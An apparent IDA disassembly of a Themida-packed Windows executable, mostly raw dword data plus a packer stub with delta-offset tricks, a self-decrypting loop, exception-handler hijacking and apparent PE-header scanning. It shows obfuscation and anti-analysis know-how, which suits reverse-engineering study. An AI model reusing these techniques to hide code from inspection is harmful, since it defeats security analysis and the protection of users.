		dd 1FCFC00h, 80h, 2 dup(0)
		dd 59621600h, 52FB1900h, 5931BE00h, 0FF966000h,	0FFh, 6	dup(0)
		dd 0D800h, 5823A200h, 2	dup(0)
		dd 12FD0800h, 2	dup(0)
		dd 0FC502400h, 77h, 0
		dd 0AEA1FE00h, 3 dup(0)
		dd 36363600h, 36h, 130000h, 568EEA00h, 0
		dd 0FB5E200h, 8Ah, 4 dup(0)
		dd 3A000h, 0
		dd 0FE030400h, 7Fh, 8 dup(0)
		dd 5301E200h, 4	dup(0)
		dd 5C3A4300h, 444E4957h, 5C53574Fh, 74737953h, 32336D65h
		dd 5644415Ch, 33495041h, 6C642E32h, 6Ch, 39h dup(0)
		dd 9E69DD00h, 5	dup(0)
		dd 0C530DF00h, 0A09BACA9h, 0
		dd 0AFE500h, 2 dup(0)
		dd 531E8900h, 0
		dd 6B5CA000h, 49h, 0
		dd 0FDF11700h, 0FFh, 9E5E2E00h,	5 dup(0)
		dd 53002300h, 3	dup(0)
		dd 1FCFC00h, 9E70C480h,	0FFFFFF00h, 0FFh, 5 dup(0)
		dd 585C9300h, 0
		dd 41FD1400h, 0FFh, 0
		dd 9EA00F00h, 2	dup(0)
		dd 17FB800h, 0
		dd 9E69DD00h, 0
		dd 545A1D00h, 80h, 19h dup(0)
		dd 6A000000h, 0E8h, 9F156400h, 0
		dd 41054500h, 0C1h, 0
		dd 3BC00h, 3 dup(0)
		dd 594D9E00h, 9DB16800h, 0Dh dup(0)
		dd 55E45C00h, 9A8D8D00h, 3Ah, 4	dup(0)
		dd 9E69DD00h, 5	dup(0)
		dd 48491000h, 2Ah, 0A2A5E700h, 5 dup(0)
		dd 30DF00h, 0
		dd 53018D00h, 4	dup(0)
		dd 0FDEE6100h, 7Fh, 0DC8F3700h,	0Ah dup(0)
		dd 0D0E11D00h, 9B788040h, 0D5h,	59892100h, 3 dup(0)
		dd 0FE030400h, 13E87Fh,	7 dup(0)
		dd 0A8EE0A00h, 55h, 100h, 3 dup(0)
		dd 58AF2400h, 2	dup(0)
		dd 568EEA00h, 2	dup(0)
		dd 0FE030400h, 7Fh, 2 dup(0)
		dd 12FF5400h, 3	dup(0)
		dd 64FFC700h, 0DDh, 0E776CD00h,	77h, 4 dup(0)
		dd 3F000000h, 2, 568EEA00h, 8 dup(0)
		dd 9EA03700h, 0F40FC00h, 6C58A245h, 64h, 6 dup(0)
		dd 0FE030400h, 7Fh, 0FE030400h,	7Fh, 2 dup(0)
		dd 0A07FD800h, 4 dup(0)
		dd 576E2C00h, 0
		dd 0DD000000h, 315D77h,	50680100h, 0BDB48100h, 0DDh, 3 dup(0)
		dd 3900h, 0
		dd 10E800h, 0
		dd 30DF00h, 6 dup(0)
		dd 0FE030400h, 7Fh, 0E5E900h, 2	dup(0)
		dd 12FF6000h, 0
		dd 400E900h, 4 dup(0)
		dd 30000h, 1Ah dup(0)
		dd 59523300h, 0
		dd 21212100h, 21h, 2 dup(0)
		dd 0D301400h, 9F156400h, 9E915B00h, 12FD0800h, 3 dup(0)
		dd 0B4320E00h, 25FA10DCh, 3 dup(0)
		dd 7800h, 9 dup(0)
		dd 0AB7D3500h, 0C1BC0455h, 9D0FE68Eh, 7	dup(0)
		dd 5B227C00h, 76h, 6 dup(0)
		dd 6BE900h, 0Dh	dup(0)
		dd 679CC700h, 7F6CB880h, 2, 58E33200h, 568C7700h, 4 dup(0)
		dd 0FE030400h, 7Fh, 7 dup(0)
		dd 562FFD00h, 6	dup(0)
		dd 0B800h, 0C00B0000h, 18C20374h, 24448B00h, 0E8530Ch
		dd 5B000000h, 17C381h, 5C890000h, 44891024h, 0B85B1424h
		dd 9EA037h, 448BE0FFh, 0E0FF0424h, 15h dup(0)
		dd 9EEBEF00h, 0
		dd 8400h, 2 dup(0)
		dd 0FE030400h, 275EF77Fh, 0FE030437h, 52EE957Fh, 8800h
		dd 3 dup(0)
		dd 2800h, 0F39C2000h, 0FAh, 0Ah	dup(0)
		dd 56F37A00h, 59A8C700h, 2 dup(0)
		dd 561D3C00h, 9E939300h, 0
		dd 9E69DD00h, 0
		dd 40310A00h, 80h, 8704EB00h, 57h, 2 dup(0)
		dd 0AED03600h, 12h dup(0)
		dd 571B5D00h, 3520000h,	0
		dd 0FFFFFF00h, 0FFh, 2 dup(0)
		dd 58A36000h, 2	dup(0)
		dd 0FE030400h, 67Fh, 2 dup(0)
		dd 191900h, 6 dup(0)
		dd 56156500h, 9E8C0A00h, 0FF965C00h, 0E7C486FFh, 5823A277h
		dd 0
		dd 1BAC00h, 8647DF00h, 74h, 2 dup(0)
		dd 0FEF7FF00h, 7Fh, 16h	dup(0)
		dd 13E800h, 0
		dd 571B5D00h, 0
		dd 5966CF00h, 2	dup(0)
		dd 6BE900h, 4 dup(0)
		dd 0FFFFFF00h, 0FFh, 4 dup(0)
		dd 0FE030400h, 60907Fh,	0FE030400h, 7Fh, 2 dup(0)
		dd 0E6000000h, 0A8036E77h, 0FFh, 2 dup(0)
		dd 0FE030400h, 7Fh, 0FFB79700h,	0FFh, 0
		dd 0F52E0F00h, 77h, 40310A00h, 80h, 80h	dup(0)
		dd 2B341300h, 14h, 2 dup(0)
		dd 9D000000h, 4	dup(0)
		dd 12FF5400h, 2	dup(0)
		dd 0FFFFFF00h, 0FFh, 5B227C00h,	76h, 0D4C96B00h, 77h, 0
		db 0
byte_530055	db 3 dup(0)		; DATA XREF: ___:off_42CC84o
					; ___:off_42CC9Co
		dd 3 dup(0)
		dd 0FE010400h, 7Fh, 6 dup(0)
		dd 571B5D00h, 58000000h, 2, 8 dup(0)
		dd 0F7EB100h, 6Ch, 0Ah dup(0)
		dd 6B2E9A00h, 49h, 0
		dd 40310A00h, 80h, 2 dup(0)
		dd 0FF9B7000h, 0E75CB5FFh, 77h,	2 dup(0)
		dd 0FFA11000h, 0FFh, 3 dup(0)
		dd 5AF66400h, 2	dup(0)
		dd 66D24600h, 0FFh, 0Ch	dup(0)
		dd 9E69DD00h, 2	dup(0)
		dd 581CF400h, 0EBA6E900h, 77h, 57099400h, 0E3h,	571BDB00h
		dd 9F156800h, 0
		dd 581CF400h, 9E6CB000h, 57000000h, 2, 0FD8E8300h, 7Fh
		dd 9E939300h, 0E17F3B00h, 5Eh, 0
		dd 59184200h, 2	dup(0)
		dd 0A8000000h, 531645FFh, 66h dup(0)
		dd 1C8E900h, 4 dup(0)
		dd 0A5F0200h, 2Bh dup(0)
		dd 400E900h, 0
		dd 100h, 8 dup(0)
		dd 0F51B2B00h, 77h, 0AFh dup(0)
		dd 0FF8EEA00h, 0FFh, 2 dup(0)
		dd 30DF00h, 0
		dd 0FFFFFF00h, 0FFh, 2 dup(0)
		dd 0FA090C00h, 7Fh, 55597400h, 86h, 0
		dd 100h, 0
		dd 568EEA00h, 3	dup(0)
		dd 0AC000000h, 3 dup(0)
		dd 0ED00AC00h, 0FFh, 9EA00F00h,	4 dup(0)
		dd 20E5700h, 49h, 2 dup(0)
		dd 7000h, 3 dup(0)
		dd 59348C00h, 0
		dd 0FB5E200h, 5D4FF58Ah, 7Fh, 0
		dd 6BE900h, 0
		dd 100h, 2 dup(0)
		dd 0E78B8200h, 77h, 4 dup(0)
		dd 0FEFED400h, 9E2BDE7Fh, 0
		dd 58AF2400h, 100h, 0
		dd 59EBDF00h, 3	dup(0)
		dd 0FFFFFC00h, 0FFh, 0
		dd 568EEA00h, 0Dh dup(0)
		dd 0A9711600h, 0FFh, 2 dup(0)
		dd 1FCFC00h, 80h, 8 dup(0)
		dd 6BE900h, 3 dup(0)
		dd 585CCC00h, 9E69DD00h, 2 dup(0)
		dd 2BC5F300h, 0D6h, 948D8D00h, 57h, 0
		dd 0FE030400h, 585C937Fh, 0
		dd 0FFA34000h, 0FFh, 2 dup(0)
		dd 4BABD200h, 80h, 0A4A1A500h, 7Fh, 7 dup(0)
		dd 1F55BF00h, 52h, 0
		dd 12FF5400h, 0
		dd 9EA00F00h, 4	dup(0)
		dd 0D4000000h, 77h, 0Bh	dup(0)
		dd 20E5700h, 49h, 6 dup(0)
		dd 0A5E11E00h, 0FFh, 0
		dd 9E69DD00h, 2	dup(0)
		dd 400h, 8 dup(0)
		dd 2EFFB000h, 9F23E802h, 4 dup(0)
		dd 2B0E900h, 0
		dd 0A800h, 3 dup(0)
		dd 9FE8B600h, 0
		dd 1FCB2300h, 4Fh, 0Bh dup(0)
		dd 9EA00F00h, 0
		dd 0FE030400h, 9E3E3B7Fh, 2 dup(0)
		dd 5965C300h, 3	dup(0)
		dd 561AC900h, 0E7A83700h, 77h, 0
		dd 0FE030400h, 52E47Fh,	2 dup(0)
		dd 585C9300h, 56A74F00h, 0D4C96A00h, 77h, 2B341300h, 14h
		dd 0
		dd 0E805D800h, 0FFAFF477h, 7Fh,	12FFE000h, 8 dup(0)
		dd 0F7EBB300h, 0F34E5977h, 0FFh, 2 dup(0)
		dd 0DD189A00h, 9D000077h, 5 dup(0)
		dd 40310A00h, 80h, 0E82FE800h, 77h, 0
		dd 9D317C00h, 68h, 400h, 2 dup(0)
		dd 6BE900h, 4 dup(0)
		dd 40100000h, 4	dup(0)
		dd 9E69DD00h, 4	dup(0)
		dd 100h, 0
		dd 0FEFEBC00h, 0FFh, 0
		dd 200000h, 40310A00h, 80h, 0
		dd 0F4464200h, 0D9h, 0A38EE200h, 62h, 4	dup(0)
		dd 9E8C0A00h, 0Eh dup(0)
		dd 0C530DF00h, 0A9h, 4 dup(0)
		dd 570B7000h, 0
		dd 0FE030400h, 0FFFE887Fh, 0FFh, 56002300h, 2 dup(0)
		dd 22222200h, 22222222h, 22h, 0
		dd 57F73D00h, 5	dup(0)
		dd 9E09F700h, 0
		dd 9EA00F00h, 2	dup(0)
		dd 0FF965C00h, 0FFh, 0
		dd offset dword_5AEB00
		dd 0
		dd 581A7600h, 0DD59F000h, 77h, 3 dup(0)
		dd 400E900h, 58056200h,	2 dup(0)
		dd 5800h, 2 dup(0)
		dd 5A1E4C00h, 0Ah dup(0)
		dd 52F6B500h, 5	dup(0)
		dd 200h, 3 dup(0)
		dd 0A8E4A300h, 4F7BE5FFh, 61h, 4 dup(0)
		dd 0D3EEDB00h, 80FEh, 0
		dd 53164500h, 3	dup(0)
		dd 0C70000h, 0
		dd 6D9300h, 0
		dd 0FF7FFE00h, 9E9C3700h, 6 dup(0)
		dd 6BE900h, 4 dup(0)
		dd 0A2999500h, 7400h, 4	dup(0)
		dd 5A000000h, 2, 9 dup(0)
		dd 67151800h, 7Ch, 6 dup(0)
		dd 20EE900h, 3 dup(0)
		dd 8819EC00h, 2, 40310A00h, 80h, 2 dup(0)
		dd 12FF5400h, 0
		dd 568CE800h, 3	dup(0)
		dd 0DD23D700h, 99692F77h, 0CBh,	0Ah dup(0)
		dd 12FEF000h, 2	dup(0)
		dd 24242400h, 24h, 2 dup(0)
		dd 0B41B4000h, 0EA81376h, 45h, 3 dup(0)
		dd 0B800h, 3 dup(0)
		dd 0C70000h, 6 dup(0)
		dd 9E24DC00h, 43h, 2 dup(0)
		dd 1B200000h, 0FCh, 9 dup(0)
		dd 40310A00h, 80h, 1Dh dup(0)
		dd 9D000000h, 0ED00AC00h, 0FFh,	12FFC400h, 4 dup(0)
		dd 9C00h, 0
		dd 6A5DE200h, 58AD6F79h, 0
		dd 0A000000h, 0E8216864h, 77h, 5 dup(0)
		dd 6BDC00h, 7D8EA500h, 9, 4 dup(0)
		dd 11111100h, 11h, 0
		dd 400h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_530FE9:				; CODE XREF: start:loc_52DCF8j
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 61F32FBh
		mov	[ebp+61F327Dh],	edx
		mov	[ebp+61F1245h],	esi
		mov	[ebp+61F0765h],	eax
		cmp	dword ptr [ebp+61F1FB1h], 0
		jz	short loc_531021
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_531021:				; CODE XREF: start+5DFFFj
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+61F2101h],	eax
		push	45h
		call	sub_5310D5
		push	783749Ah
		call	sub_53111B
		push	0A894B25h
		call	sub_53111B
		jmp	loc_53125F
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 45h
		dd 49484746h, 4D4C4B4Ah, 51504F4Eh, 55545352h, 59585756h
		dd 5D5C5B5Ah, 61605F5Eh, 65646362h, 69686766h, 6D6C6B6Ah
		dd 71706F6Eh, 75747372h, 79787776h, 7D7C7B7Ah, 81807F7Eh
		dd 85848382h, 89888786h, 8D8C8B8Ah, 91908F8Eh, 95949392h
		dd 99989796h, 9D9C9B9Ah, 0A1A09F9Eh, 0A5A4A3A2h, 0A9A8A7A6h
		dd 0ADACABAAh, 0B1B0AFAEh, 0B5B4B3B2h, 0B9B8B7B6h, 0BDBCBBBAh
		dd 0C1C0BFBEh, 0C3C2h, 2 dup(0)
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5310D5	proc near		; CODE XREF: start+5E019p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 61F33E9h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_5310F1:				; CODE XREF: sub_5310D5+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_531110
		mov	eax, [ebp+arg_0]
		mov	[ebx+61F3353h],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_5310F1
; ---------------------------------------------------------------------------


loc_531110:				; CODE XREF: sub_5310D5+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_5310D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_53111B	proc near		; CODE XREF: start+5E023p start+5E02Dp

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 61F3432h
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_531141:				; CODE XREF: sub_53111B+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_531141
		mov	[ebp+var_84], 0
		lea	edi, [edx+61F3353h]
		lea	esi, [ebp+var_80]


loc_531171:				; CODE XREF: sub_53111B+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_53117D:				; CODE XREF: sub_53111B+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_53117D
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_531171
		popa
		leave
		retn	4
sub_53111B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_5311BB
; ---------------------------------------------------------------------------


loc_5311B7:				; CODE XREF: Themida_:005311BEj
		inc	dword ptr [ebp-4]
		inc	esi


loc_5311BB:				; CODE XREF: Themida_:005311B5j
		cmp	byte ptr [esi],	0
		jnz	short loc_5311B7
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_53124C
; ---------------------------------------------------------------------------


loc_5311CD:				; CODE XREF: Themida_:0053124Fj
		mov	dword ptr [ebp-8], 0
		jmp	short loc_531243
; ---------------------------------------------------------------------------


loc_5311D6:				; CODE XREF: Themida_:00531247j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_531230
; ---------------------------------------------------------------------------


loc_5311E6:				; CODE XREF: Themida_:00531234j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_531208
		cmp	bl, 39h
		ja	short loc_531208
		sub	bl, 30h
		jmp	short loc_53122A
; ---------------------------------------------------------------------------


loc_531208:				; CODE XREF: Themida_:005311FCj
					; Themida_:00531201j
		cmp	bl, 61h
		jb	short loc_53121A
		cmp	bl, 66h
		ja	short loc_53121A
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_53122A
; ---------------------------------------------------------------------------


loc_53121A:				; CODE XREF: Themida_:0053120Bj
					; Themida_:00531210j
		cmp	bl, 41h
		jb	short loc_53122A
		cmp	bl, 46h
		ja	short loc_53122A
		sub	bl, 41h
		add	bl, 0Ah


loc_53122A:				; CODE XREF: Themida_:00531206j
					; Themida_:00531218j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_531230:				; CODE XREF: Themida_:005311E4j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_5311E6
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_531240
		mov	eax, [ebp-10h]
		stosb


loc_531240:				; CODE XREF: Themida_:0053123Aj
		inc	dword ptr [ebp-8]


loc_531243:				; CODE XREF: Themida_:005311D4j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_5311D6
		add	edx, 4


loc_53124C:				; CODE XREF: Themida_:005311CBj
		cmp	edx, [ebp-4]
		jb	loc_5311CD
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53125F:				; CODE XREF: start+5E032j
		mov	ecx, 7000h
		lea	edi, [ebp+61F3578h]


loc_53126A:				; CODE XREF: start+5E25Aj
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_53126A
		mov	eax, 48692121h
		mov	edx, 0F00D3000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+61F3695h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		sbb	ebx, 6E584BF7h
		mov	bl, 73h
		push	0
		push	edx
		call	sub_5312AE
		and	[edx-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_5312AE	proc near		; CODE XREF: start+5E292p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5312AE	endp

; ---------------------------------------------------------------------------
aKJ		db 'k+Âj',0
		db 53h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 0E9896A00h, 11h, 68CC3FE2h, 778C3536h, 0EA1979E0h, 1C12FF7h
		dd 0F0002569h, 0C381FFFFh, 21A2A655h, 0FF33CA8Bh, 4D388166h
		dd 0F0E755Ah, 33C50B7h,	503A81D0h, 74000045h, 10002D08h
		dd 0EB470000h, 58F64E3h, 0
		dd 8D04C483h, 1F36A895h, 0FF645206h, 35h, 25896400h, 0
		dd 2DC103h, 8B000010h, 0E6810470h, 0FFFF0000h, 0FE81h
		dd 3768000h, 331C708Bh,	32F883C0h, 81661F74h, 745A4D3Eh
		dd 0EE8109h, 40000100h,	7E8BEBEBh, 81FE033Ch, 45503Fh
		dd 0EB447400h, 58F64E8h, 0
		dd 6104C483h, 4C8B51C3h, 0A9811024h, 0B0h, 1000h, 0C3C03359h
		dd 244C8B51h, 0E85510h,	5D000000h, 36B3ED81h, 858D061Fh
		dd 61F3671h, 0B88189h, 595D0000h, 96C3C033h, 58F64h, 83000000h
		dd 800F04C4h, 2, 8C6607B3h, 2840FD9h, 0B3000000h, 80F88AE1h
		dd 6A04E1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 50DB32C3h, 0CB81D1B4h, 53CD1A04h,	11E9h
		dd 0D2D8D500h, 0E6AD53B9h, 74CE5304h, 4E0BD00Fh, 0C90A8E4Dh
		dd 2A850Fh, 0C1BB0000h,	0C72EF00Fh, 1F0EF585h, 106h, 0BB666000h
		dd 0E961C896h, 1Dh, 0BE9h, 1595700h, 3A39FAD1h,	0B58F680Bh
		dd 0EF585C7h, 61Fh, 0BF0F0000h,	0D98589D9h, 0BB061F20h
		dd 438AA177h, 32718589h, 10E8061Fh, 0E3000000h,	24E6CDFFh
		dd 444E1026h, 0CE8D6692h, 60659A4Eh, 14E9FD8Ah,	17000000h
		dd 0F091BEF0h, 699AFA68h, 11B98074h, 0C84370Fh,	6195B8CAh
		dd 0C181F959h, 64E7h, 0CE9h, 0F15F6900h, 0A23ED0DCh, 0D844BC02h
		dd 0E0BEBE8Bh, 0EE815262h, 5262C7B7h, 8B6631FFh, 0F9605AD9h
		dd 0BB66F860h, 61614E6Ah, 0F6FBC281h, 0B70F39B7h, 67F281FEh
		dd 8120872Dh, 0C6212FC2h, 0FE908h, 57220000h, 0EDABF335h
		dd 898E9666h, 19CBF3D5h, 80118904h, 0E983CBDFh,	2810F01h
		dd 8B000000h, 494949FEh, 6840F60h, 0F000000h, 81h, 6E900h
		dd 0A13E0000h, 604A628Eh, 1EE8361h, 0FF92850Fh,	5E8FFFFh
		dd 17000000h, 6EC387DBh, 32F78166h, 7E8587Ch, 0DC000000h
		dd 4D6C90CBh, 860F23D4h, 2, 0E95AF2B7h,	13h, 0CC7649B8h
		dd 0C82AF691h, 6D636DBh, 5A948756h, 81B373EBh, 63ACC2h
		dd 8A0F00h, 0BF000000h,	18B6h, 38A0Fh, 0D3800000h, 66028B89h
		dd 38A6D981h, 0CEC0C081h, 81664644h, 8175CDD1h,	1AA4DDE8h
		dd 1F5CBE4Ch, 0F0810A64h, 2C7747F7h, 0E90289F5h, 0Fh, 0ED5A6E3Ah
		dd 0FD3AA3DFh, 8F60A666h, 81B3FE3Dh, 9CB0F2EAh,	0BAB96652h
		dd 0EEC28171h, 0F529CB0h, 58Dh,	8B665000h, 0EF8359CEh
		dd 21850F01h, 0F000000h, 28Ah, 0E9D6B500h, 2Bh,	6507EBEEh
		dd 526FC396h, 45D513C8h, 79FFEF2Fh, 755FCDEEh, 1B5DD681h
		dd 76E90D7Fh, 5DFFFFFFh, 1EC18223h, 966262B6h, 0E96A1B22h
		dd 750h, 15ED8060h, 61E4C381h, 176112AEh, 2, 68D0F00h
		dd 89000000h, 1F0A4D95h, 820F6006h, 6, 10159589h, 8A0F061Fh
		dd 6, 2CB18D89h, 0C02B061Fh, 19820F60h,	0E9000000h, 14h
		dd 7428EBD9h, 0B1064BF1h, 0CA5CB57Ch, 0DBE3E7E8h, 0C66D62C3h
		dd 13418D8Bh, 0F61061Fh, 688h, 3D8D3100h, 8B061F10h, 89282454h
		dd 1F2C2185h, 6D858906h, 89061F10h, 1F1E05BDh, 3CBE06h
		dd 9D890000h, 61F02E9h,	24247403h, 0B5952B60h, 66061F0Fh
		dd 0FB8DC181h, 0CD958961h, 66061F2Ah, 8E9ADh, 18F10000h
		dd 8E456AE4h, 4403503Eh, 9D292424h, 61F0D39h, 0A2B26050h
		dd 8961DA8Bh, 8E92404h,	0A9000000h, 0DB5CF494h,	8BAF3B2Ah
		dd 66607840h, 8166DE8Bh, 618BA0F2h, 0FE9h, 89CAFF00h, 0C4A66C9h
		dd 0DFA61F50h, 9169F162h, 28244403h, 11E9h, 4A60200h, 0A2F76793h
		dd 59E36D41h, 2E0ED305h, 408B69CEh, 89BD2918h, 0E9061F24h
		dd 0Eh,	740C2E5Ch, 94CBC005h, 68151E3Eh, 0F4004E9h, 681h
		dd 0B58D8900h, 89061F1Dh, 1F393B85h, 10E906h, 1C520000h
		dd 0FE81BAB1h, 0B2E94E2Fh, 1525EACh, 0E9581214h, 10h, 0BA12D944h
		dd 0B5AA0CE4h, 0BB880B1Ah, 54D3EBFAh, 8978708Bh, 1F170995h
		dd 1CC68306h, 247403F8h, 0BD8DFC24h, 61F2495h, 5DB58B60h
		dd 66061F08h, 611D32BEh, 758589ADh, 3061F06h, 0FC242444h
		dd 0CE9ABh, 0A14E0000h,	68524FFEh, 6476914Ch, 0BD8D504Eh
		dd 61F2CE5h, 0B5016060h, 61F1A3Dh, 0B1616160h, 0FAD61EDh
		dd 688h, 3D9D8900h, 3061F1Fh, 29242444h, 1F31C9BDh, 0F609006h
		dd 87h,	0D88B6600h, 52505061h, 188E0Fh,	13E90000h, 0E1000000h
		dd 0D794C217h, 3628ADF5h, 1C6F5h, 4DA24BBDh, 310FC73Ah
		dd 8E9h, 0A579D400h, 24692AF1h,	90585A23h, 9C90BB60h, 816642C1h
		dd 61165FD7h, 14E9ABh, 2130000h, 8D55A283h, 0F599583Bh
		dd 0BEB437BFh, 7D5E50Dh, 5E9DB3Fh, 25000000h, 0A710F5B0h
		dd 1599BD8Dh, 0ADF5061Fh, 0FE9h, 4EF91C00h, 0A08D7853h
		dd 8F7C2357h, 76D9B019h, 28244403h, 1B890Fh, 0F600000h
		dd 87h,	0EE900h, 22D0000h, 0F3C8B28Dh, 5D1B24Ch, 1183871Bh
		dd 0AE9AB61h, 0B000000h, 0C885156Dh, 0CD25471Ch, 0E9605E24h
		dd 8, 0C5384C41h, 0B48E1B06h, 8F0Fh, 0FF610000h, 1F393B8Dh
		dd 3BBD8306h, 61F39h, 44C71075h, 1C24h,	0B58D0000h, 61F3E4Dh
		dd 0AD56E6FFh, 28244403h, 8ADF8B97h, 1F202585h,	74C08406h
		dd 75073A04h, 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh, 8B49C933h
		dd 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah,	66EBD166h
		dd 973D8D1h, 50413566h,	49F38166h, 75CEFE54h, 33C833EBh
		dd 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h, 74D03B5Ah
		dd 0C6835E0Fh, 6D85FF04h, 0E9061F10h, 0FFFFFF6Fh, 0A995015Eh
		dd 60061F10h, 1725BD29h, 0F081061Fh, 1D787B41h,	6D858B61h
		dd 89061F10h, 1F0C59B5h, 0FE0D106h, 185h, 8503FC00h, 61F1599h
		dd 165B589h, 8E0F061Fh,	1, 0BEFCh, 96F80000h, 0BE9h, 10296600h
		dd 0CDB944CBh, 3728F4F0h, 0E9F9AD66h, 11h, 0AE877A4h, 0C0AFB946h
		dd 0C3EC74D5h, 0AC6A75FDh, 2E0C176h, 0D8C0Fh, 89600000h
		dd 1F1881BDh, 0B223B806h, 3615F4Ch, 1F249585h, 0BF666006h
		dd 0BF0F7CB0h, 8D0161C2h, 61F2685h, 0C8A0F96h, 0F000000h
		dd 684h, 800F00h, 0AD000000h, 20A99509h, 8B0F061Fh, 6
		dd 9ED9501h, 4C8B061Fh,	3FC2424h, 0E9242444h, 0Dh, 7D66C229h
		dd 7E8878A8h, 8155CE82h, 6E9C7h, 126B0000h, 4A6E2A64h
		dd 1C244489h, 8EDBD89h,	0B589061Fh, 61F1221h, 0B5896096h
		dd 61F0A59h, 8E9h, 0F4AC5000h, 41DAC5B4h, 0E9AC61F5h, 0Bh
		dd 7F47D9Ah, 0AA97124h,	32F5924Dh, 1BD89C9h, 0FE061F2Eh
		dd 19880FC1h, 0F000000h, 138Bh,	0EE900h, 0F0C80000h, 171E7039h
		dd 9E5D6819h, 97E25488h, 0C8D9D29h, 0D0D0061Fh,	8F830Fh
		dd 0B5890000h, 61F2351h, 830FD0D0h, 81h, 0D0D0F5FCh, 77820Fh
		dd 0D0F90000h, 6E820FD0h, 0F5000000h, 0BE9h, 3F9EEA00h
		dd 48D9AAA8h, 0C27CA811h, 890FC9FEh, 0FFFFFFBEh, 0CDBD3160h
		dd 89061F02h, 1F146195h, 0C4836106h, 81F96020h,	177AA9DFh
		dd 44C76110h, 0FC24h, 0BD890000h, 61F0E85h, 18BDB589h
		dd 1B8061Fh, 89000000h,	1F0B8D8Dh, 108D8D06h, 60061F71h
		dd 2BD5B589h, 0B589061Fh, 61F0B25h, 9E1FF61h, 1F09C585h
		dd 2585C606h, 61F20h, 55850160h, 0F061F07h, 6161C1BFh
		dd 1A818D31h, 8C2061Fh,	13E9F900h, 6C000000h, 0DDCCE273h
		dd 48E7A7ABh, 56BB54DFh, 578211E2h, 50500895h, 6850F52h
		dd 0F000000h, 8Dh
		dd 0E9310F00h, 10h, 0CB2411ACh,	0F60AF8D8h, 6D881DDDh
		dd 3656A724h, 3489585Ah, 0D9816024h, 4785C10Ch,	2A25B503h
		dd 8961061Fh, 1F4050B5h, 0BF0F6006h, 870F51F6h,	0
		dd 8D89615Fh, 61F406Ch,	1BB58DF8h, 60061F3Fh, 1CE681F9h
		dd 61410CA9h, 7E35858Dh, 9D89005Bh, 61F02EDh, 0B260D0FFh
		dd 8A0F56B1h, 0
		dd 0F5E615Ah, 184h, 0E9C3F500h,	0Fh, 401FDA83h,	56182393h
		dd 0AC80E1D1h, 8BA5C844h, 1F4050B5h, 0D59D8906h, 8B061F1Bh
		dd 1F406C8Dh, 870FFC06h, 0Ch, 68D0Fh, 95090000h, 61F1FEDh
		dd 0B8h, 10E900h, 0B9960000h, 0BE4C9FDFh, 39203155h, 2E337FC0h
		dd 0D98B9A59h, 0B55BD89h, 0C6E9061Fh, 29000000h, 1F02E9BDh
		dd 29263206h, 1F07718Dh, 8902B206h, 1F0CF9B5h, 77E906h
